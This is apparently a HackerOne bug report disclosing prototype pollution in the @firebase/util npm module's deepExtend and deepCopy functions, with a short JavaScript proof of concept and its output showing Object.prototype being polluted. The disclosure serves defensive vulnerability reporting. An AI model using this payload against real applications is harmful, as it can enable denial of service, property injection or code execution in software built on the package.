Node.js third-party modules: [@firebase/util] Prototype pollution
2020-10-07T15:00:05Type hackerone
Reporter d3lla
Modified 2020-11-17T17:42:42
Description
Module
module name: @firebase/util
version: 0.3.2
npm page: https://www.npmjs.com/package/@firebase/util
Module Description
NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package
This is a wrapper of some Webchannel Features for the Firebase JS SDK.
Module Stats
[1,516,157] weekly downloads
Vulnerability
Vulnerability Description
I tested the deepCopy and deepExtend functions.
The deepCopy and deepExtend functions can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
Steps To Reproduce:
- install
@firebase/utilmodule:npm i ``@firebase/util
Run the following poc: ```javascript const utils = require('@firebase/util');
const obj = {}; const source = JSON.parse('{"proto":{"polluted":"yes"}}'); console.log("Before : " + obj.polluted); utils.deepExtend({}, source); // utils.deepCopy(source); console.log("After : " + obj.polluted);
Output:console
Before : undefined After : yes ``` {F1024346}
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.11.0
- NPM VERSION: 6.14.8
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
